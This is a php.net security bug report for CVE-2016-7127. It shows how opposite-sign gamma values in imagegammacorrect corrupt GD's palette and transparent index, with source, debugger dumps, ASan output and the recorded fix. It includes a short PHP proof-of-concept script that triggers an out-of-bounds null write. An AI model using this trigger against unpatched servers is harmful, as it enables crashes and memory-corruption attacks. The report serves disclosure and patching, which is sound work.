php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72730 imagegammacorrect allows arbitrary write access
Submitted: 2016-08-02 03:46 UTC Modified: 2016-09-05 15:28 UTC
From: fernando at null-life dot com Assigned: stas
Status: Closed Package: GD related
PHP Version: 5.6.24 OS: *
Private report: No CVE-ID: 2016-7127
 [2016-08-02 03:46 UTC] fernando at null-life dot com
Description:
------------
Description:
------------
imagegammacorrect accepts two gamma values, if they don't have the same sign then the palette colors will be assigned values bigger than 0xFF, later this values are used to calculate the transparent color using the gdTrueColorAlpha macro, and a negative value will be assigned to the transparent color. 

This negative value is used as an index and allows writing an arbitrary null, similar to bug #72512 

This doesn't affect libgd upstream, gamma correction is only implemented in PHP.

Possible fix
------------
Don't accept negative values on imagegammacorrect


Details
-------
Source code:

https://github.com/php/php-src/blob/master/ext/gd/gd.c#L3024

PHP_FUNCTION(imagegammacorrect)
{
        zval *IM;
        gdImagePtr im;
        int i;
        double input, output;

        if (zend_parse_parameters(ZEND_NUM_ARGS(), "rdd", &IM, &input, &output) == FAILURE) {
                return;
        }

        if ((im = (gdImagePtr)zend_fetch_resource(Z_RES_P(IM), "Image", le_gd)) == NULL) {
                RETURN_FALSE;
        }

        if (gdImageTrueColor(im))       {
                int x, y, c;

                for (y = 0; y < gdImageSY(im); y++)     {
                        for (x = 0; x < gdImageSX(im); x++)     {
                                c = gdImageGetPixel(im, x, y);
                                gdImageSetPixel(im, x, y,
                                        gdTrueColorAlpha(
                                                (int) ((pow((pow((gdTrueColorGetRed(c)   / 255.0), input)), 1.0 / output) * 255) + .5),
                                                (int) ((pow((pow((gdTrueColorGetGreen(c) / 255.0), input)), 1.0 / output) * 255) + .5),
                                                (int) ((pow((pow((gdTrueColorGetBlue(c)  / 255.0), input)), 1.0 / output) * 255) + .5),
                                                gdTrueColorGetAlpha(c)
                                        )
                                );
                        }
                }
                RETURN_TRUE;
        }

        for (i = 0; i < gdImageColorsTotal(im); i++) {
                im->red[i]   = (int)((pow((pow((im->red[i]   / 255.0), input)), 1.0 / output) * 255) + .5);
                im->green[i] = (int)((pow((pow((im->green[i] / 255.0), input)), 1.0 / output) * 255) + .5);
                im->blue[i]  = (int)((pow((pow((im->blue[i]  / 255.0), input)), 1.0 / output) * 255) + .5);
        }

        RETURN_TRUE;
}


The line that calculates the rgb values generates a value bigger than 255, let's analyze red for example:

 im->red[i]   = (int)((pow((pow((im->red[i]   / 255.0), input)), 1.0 / output) * 255) + .5);

This formula is:

[[r/255] ^ input ] ^ (1 / output) 

 [r/255] ^ (input / output)

If one of these two is negatives then it becomes:

[255/r] ^ (input / output)

We control r, input and output, and we can make the new value bigger than 255.


GDB output
----------
Before imagegamacorrect:

Breakpoint 5, gdImageTrueColorToPaletteBody (oim=0x7fffef678000, dither=<optimized out>, colorsWanted=<optimized out>, cimP=0x0) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:2015
2015        oim->tpixels = 0;
gdb-peda$ p *oim
$2 = {
  pixels = 0x7fffef6730f0,
  sx = 0x1,
  sy = 0x1,
  colorsTotal = 0x2,
  red = {0x4, 0xb, 0x0 <repeats 254 times>},
  green = {0x2, 0xc, 0x0 <repeats 254 times>},
  blue = {0x4, 0xd, 0x0 <repeats 254 times>},
  open = {0x0 <repeats 256 times>},
  transparent = 0x1,
  polyInts = 0x0,
  polyAllocated = 0x0,
  brush = 0x0,
  tile = 0x0,
  brushColorMap = {0x0 <repeats 256 times>},
  tileColorMap = {0x0 <repeats 256 times>},
  styleLength = 0x0,
  stylePos = 0x0,
  style = 0x0,
  interlace = 0x0,
  thick = 0x1,
  alpha = {0x0, 0x7f, 0x0 <repeats 254 times>},
  trueColor = 0x0,
  tpixels = 0x7fffef673050,
  alphaBlendingFlag = 0x1,
  antialias = 0x0,
  saveAlphaFlag = 0x0,
  AA = 0x0,
  AA_color = 0x0,
  AA_dont_blend = 0x0,
  AA_opacity = 0x7fffef673078,
  AA_polygon = 0x0,
  AAL_x1 = 0x0,
  AAL_y1 = 0x0,
  AAL_x2 = 0x0,
  AAL_y2 = 0x0,
  AAL_Bx_Ax = 0x0,
  AAL_By_Ay = 0x0,
  AAL_LAB_2 = 0x0,
  AAL_LAB = 0,
  cx1 = 0x0,
  cy1 = 0x0,
  cx2 = 0x0,
  cy2 = 0x0,
  interpolation_id = GD_BILINEAR_FIXED,
  interpolation = 0x0
}
gdb-peda$ c


After gammacorrect:

Breakpoint 3, gdImagePaletteToTrueColor (src=0x7fffef678000) at /home/operac/php-70/ext/gd/libgd/gd.c:3107
3107            if (src == NULL) {
gdb-peda$ p *src
$3 = {
  pixels = 0x7fffef6730f0,
  sx = 0x1,
  sy = 0x1,
  colorsTotal = 0x2,
  red = {0x100, 0x100, 0x0 <repeats 254 times>},            // colors palette > 0xff
  green = {0x100, 0x100, 0x0 <repeats 254 times>},
  blue = {0x100, 0x100, 0x0 <repeats 254 times>},
  open = {0x0 <repeats 256 times>},
  transparent = 0x1,
  polyInts = 0x0,
  polyAllocated = 0x0,
  brush = 0x0,
  tile = 0x0,
  brushColorMap = {0x0 <repeats 256 times>},
  tileColorMap = {0x0 <repeats 256 times>},
  styleLength = 0x0,
  stylePos = 0x0,
  style = 0x0,
  interlace = 0x0,
  thick = 0x1,
  alpha = {0x0, 0x7f, 0x0 <repeats 254 times>},
  trueColor = 0x0,
  tpixels = 0x0,
  alphaBlendingFlag = 0x1,
  antialias = 0x0,
  saveAlphaFlag = 0x0,
  AA = 0x0,
  AA_color = 0x0,
  AA_dont_blend = 0x0,
  AA_opacity = 0x7fffef673078,
  AA_polygon = 0x0,
  AAL_x1 = 0x0,
  AAL_y1 = 0x0,
  AAL_x2 = 0x0,
  AAL_y2 = 0x0,
  AAL_Bx_Ax = 0x0,
  AAL_By_Ay = 0x0,
  AAL_LAB_2 = 0x0,
  AAL_LAB = 0,
  cx1 = 0x0,
  cy1 = 0x0,
  cx2 = 0x0,
  cy2 = 0x0,
  interpolation_id = GD_BILINEAR_FIXED,
  interpolation = 0x0
}

...

After imagepalettetotruecolor:

Breakpoint 4, php_gd_gdImageTrueColorToPalette (im=0x7fffef678000, dither=0x1, colorsWanted=0xa) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:1767
1767    {
gdb-peda$ p *im
$4 = {
  pixels = 0x0,
  sx = 0x1,
  sy = 0x1,
  colorsTotal = 0x2,
  red = {0x100, 0x100, 0x0 <repeats 254 times>},
  green = {0x100, 0x100, 0x0 <repeats 254 times>},
  blue = {0x100, 0x100, 0x0 <repeats 254 times>},
  open = {0x0 <repeats 256 times>},
  transparent = 0x80010100,         // transparent > 0x7fffffff (negative)
  polyInts = 0x0,
  polyAllocated = 0x0,
  brush = 0x0,
  tile = 0x0,
  brushColorMap = {0x0 <repeats 256 times>},
  tileColorMap = {0x0 <repeats 256 times>},
  styleLength = 0x0,
  stylePos = 0x0,
  style = 0x0,
  interlace = 0x0,
  thick = 0x1,
  alpha = {0x0, 0x7f, 0x0 <repeats 254 times>},
  trueColor = 0x1,
  tpixels = 0x7fffef673050,
  alphaBlendingFlag = 0x0,
  antialias = 0x0,
  saveAlphaFlag = 0x1,
  AA = 0x0,
  AA_color = 0x0,
  AA_dont_blend = 0x0,
  AA_opacity = 0x7fffef673078,
  AA_polygon = 0x0,
  AAL_x1 = 0x0,
  AAL_y1 = 0x0,
  AAL_x2 = 0x0,
  AAL_y2 = 0x0,
  AAL_Bx_Ax = 0x0,
  AAL_By_Ay = 0x0,
  AAL_LAB_2 = 0x0,
  AAL_LAB = 0,
  cx1 = 0x0,
  cy1 = 0x0,
  cx2 = 0x0,
  cy2 = 0x0,
  interpolation_id = GD_BILINEAR_FIXED,
  interpolation = 0x0
}

gdb-peda$ p/d im->transparent
$6 = -2147417856
-----------------------------------------

...
https://github.com/php/php-src/blob/dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6/ext/gd/libgd/gd.c#L3155

int gdImagePaletteToTrueColor(gdImagePtr src)
{
...
        if (src->transparent >= 0) {
                const unsigned char c = src->transparent;
                src->transparent =  gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]);
        }
...

https://github.com/php/php-src/blob/1c295d4a9ac78fcc2f77d6695987598bb7abcb83/ext/gd/libgd/gd.h#L541


#define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + \
        ((r) << 16) + \
        ((g) << 8) + \
        (b))

7f000000   alpha
 1000000   red
   10000   green
     100   blue
-----------------
80010100 

This is the negative color that was assigned to transparent.

Test script:
---------------
<?php
$img =  imagecreatetruecolor(1, 1);

imagecolortransparent($img, 0x0a0b0c0d);   # if color >= 0  ->  img->transparent = 0x0a0b0c0d
imagetruecolortopalette($img, true,  10);  # if transparent >=0 -> r[i]=0x0b  g[i]=0x0c b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f);  img->transparent = i  
imagegammacorrect($img, -1, 1337);   # rgb becomes negative => (int)((pow((pow((im->red[i]   / 255.0), input)), 1.0 / output) * 255) + .5);
imagepalettetotruecolor($img);       # if transparent >=0  const unsigned char c = src->transparent;  src->transparent =  gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]);
imagetruecolortopalette($img, true, 10);   # if transparent >=0 =>  r[i]=0x0b   g[i]=0x0c   b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f);    img->transparent = i  
imagecolortransparent($img, 0);      # if color >=0 && color < colorsTotal => im->alpha[im->transparent] = gdAlphaOpaque (0x0);


Expected result:
----------------
No crash

Actual result:
--------------
ASan output:

ASAN:SIGSEGV
=================================================================
==7112==ERROR: AddressSanitizer: SEGV on unknown address 0x7f96b96b9c50 (pc 0x00000098c960 bp 0x7ffcb18d91e0 sp 0x7ffcb18d91e0 T0)
    #0 0x98c95f in php_gd_gdImageColorTransparent /home/operac/php-70/ext/gd/libgd/gd.c:609
    #1 0x95b50c in zif_imagecolortransparent /home/operac/php-70/ext/gd/gd.c:3311
    #2 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586
    #3 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414
    #4 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458
    #5 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427
    #6 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494
    #7 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974
    #8 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344
    #9 0x7f98bf19382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x467a48 in _start (/ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php+0x467a48)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/operac/php-70/ext/gd/libgd/gd.c:609 php_gd_gdImageColorTransparent
==7112==ABORTING

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-10 07:16 UTC] stas@php.net
-PHP Version: 7.0.9 +PHP Version: 5.6.24 -Assigned To: +Assigned To: stas
 [2016-08-10 07:16 UTC] stas@php.net
Fixed in 047fe0ed03093a496691d376fcf51a7e2f1d04b0 and https://gist.github.com/8d67aca5d29866ca35b16c80bbe01c4f

please verify
 [2016-08-15 06:02 UTC] stas@php.net
-CVE-ID: +CVE-ID: needed
 [2016-08-17 05:57 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1bd103df00f49cf4d4ade2cfe3f456ac058a4eae
Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
 [2016-08-17 05:57 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 08:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1bd103df00f49cf4d4ade2cfe3f456ac058a4eae
Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
 [2016-08-17 08:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e70069a62fb7252252cad9506fac5baf4ac11d21
Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
 [2016-08-17 09:15 UTC] laruence@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1bd103df00f49cf4d4ade2cfe3f456ac058a4eae
Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
 [2016-08-17 09:15 UTC] laruence@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e70069a62fb7252252cad9506fac5baf4ac11d21
Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
 [2016-08-17 12:04 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=bab470f6ba67f5b2e83d8152ae9adee5161a975e
Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
 [2016-08-18 11:15 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=229782c0ada4d7e72dba6327cc7dff889ce7d92f
Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
 [2016-09-05 15:28 UTC] remi@php.net
-CVE-ID: needed +CVE-ID: 2016-7127
 [2016-10-17 10:09 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1bd103df00f49cf4d4ade2cfe3f456ac058a4eae
Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
 [2016-10-17 10:09 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e70069a62fb7252252cad9506fac5baf4ac11d21
Log: Fix bug #72730 - imagegammacorrect allows arbitrary write access
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Wed Feb 22 20:01:42 2017 UTC